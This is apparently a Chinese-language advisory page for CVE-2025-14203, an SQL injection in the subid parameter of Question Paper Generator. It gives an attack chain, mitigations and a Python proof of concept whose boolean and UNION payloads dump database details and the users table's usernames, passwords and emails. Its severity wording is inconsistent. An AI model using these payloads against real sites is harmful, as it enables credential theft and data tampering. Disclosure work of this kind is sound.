IPBUF安全漏洞报告
English
CVE-2025-14203 CVSS 6.3 中危

CVE-2025-14203 Question Paper Generator SQL注入漏洞

披露日期: 2025-12-07

漏洞信息

漏洞编号
CVE-2025-14203
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
code-projects Question Paper Generator

相关标签

SQL注入Question Paper Generatorcode-projectsCVE-2025-14203Web应用安全数据库漏洞远程利用低权限认证

漏洞概述

CVE-2025-14203是code-projects开源项目Question Paper Generator(题库生成系统)中的一个高危SQL注入漏洞。该系统是一款用于教育领域的在线题库生成工具,攻击者可通过构造恶意SQL语句,利用未经过滤的subid参数执行任意数据库操作。漏洞存在于/selectquestionuser.php文件的参数处理逻辑中,由于对用户输入缺乏有效的参数化查询和输入验证,远程攻击者可在低权限状态下无需用户交互即可利用此漏洞。该漏洞CVSS评分为6.3(中等严重级别),对系统机密性、完整性和可用性均造成较低影响。攻击者可利用此漏洞获取数据库敏感信息、修改题库数据,甚至在某些配置下可能实现进一步的系统渗透。由于该漏洞的利用代码已公开,建议管理员尽快采取修复措施。

技术细节

该SQL注入漏洞位于Question Paper Generator的/selectquestionuser.php文件中的subid参数处理部分。系统在后端处理用户请求时,直接将subid参数的值拼接到SQL查询语句中,未进行充分的输入过滤或使用参数化查询。攻击者可通过HTTP请求构造包含SQL注入payload的subid参数值,如使用UNION SELECT、布尔盲注或时间盲注等技术提取数据库信息。由于漏洞存在于需要低权限认证的接口(PR:L),攻击者注册普通用户账号后即可发起攻击。攻击路径为:攻击者登录系统 → 访问/selectquestionuser.php页面 → 在subid参数中注入恶意SQL代码 → 服务器执行注入语句 → 返回数据库查询结果或执行其他数据库操作。典型的注入payload可包括:获取数据库版本、当前用户、数据库名称,以及通过UNION查询获取其他表中的敏感数据。

攻击链分析

STEP 1
步骤1
攻击者在目标网站上注册普通用户账号,获取基本访问权限
STEP 2
步骤2
攻击者登录系统并访问/selectquestionuser.php页面
STEP 3
步骤3
攻击者构造包含SQL注入payload的subid参数,如使用UNION SELECT语句
STEP 4
步骤4
服务器将未过滤的subid参数值拼接到SQL查询中并执行
STEP 5
步骤5
攻击者通过注入语句获取数据库敏感信息(如用户表、数据库版本等)
STEP 6
步骤6
攻击者利用获取的信息进行进一步渗透,如修改题库数据或获取管理员权限

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-14203 SQL Injection PoC # Target: code-projects Question Paper Generator <= 1.0 # File: /selectquestionuser.php # Parameter: subid import requests import sys target_url = "http://target-host/selectquestionuser.php" def sql_injection_test(): # Normal request normal_params = {"subid": "1"} # SQL Injection payload - Boolean based blind injection # Extract database version payload_db_version = "1' AND 1=1 -- " payload_db_version_true = {"subid": payload_db_version} payload_db_version_false = {"subid": "1' AND 1=2 -- "} # SQL Injection payload - Union based injection # Get database name payload_union = "1' UNION SELECT database(),user(),version(),4 -- " payload_union_params = {"subid": payload_union} # SQL Injection payload - Extract users table data payload_extract = "1' UNION SELECT username,password,email,4 FROM users -- " payload_extract_params = {"subid": payload_extract} print("[*] Testing CVE-2025-14203 SQL Injection") print(f"[*] Target: {target_url}") # Test for vulnerability try: print("[*] Sending normal request...") r1 = requests.get(target_url, params=normal_params) print("[*] Sending injection payload (true condition)...") r2 = requests.get(target_url, params=payload_db_version_true) print("[*] Sending injection payload (false condition)...") r3 = requests.get(target_url, params=payload_db_version_false) if r2.text != r3.text: print("[+] Vulnerability confirmed! SQL Injection is possible.") print("[*] Extracting database information...") # Extract database info using UNION injection r4 = requests.get(target_url, params=payload_union_params) print(f"[+] Database Info: {r4.text[:500]}") else: print("[-] Vulnerability not confirmed or target is not vulnerable.") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") if __name__ == "__main__": sql_injection_test()

影响范围

code-projects Question Paper Generator <= 1.0

防御指南

临时缓解措施
在官方修复版本发布之前,可采取以下临时缓解措施:1) 在Web服务器层面配置URL参数过滤规则,拦截包含SQL关键字的请求;2) 对/selectquestionuser.php页面实施访问限制,仅允许受信任的IP访问;3) 临时关闭题库选择功能,使用其他方式管理题库;4) 加强对数据库的监控和日志审计,及时发现异常查询行为;5) 定期备份数据库,确保数据安全。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表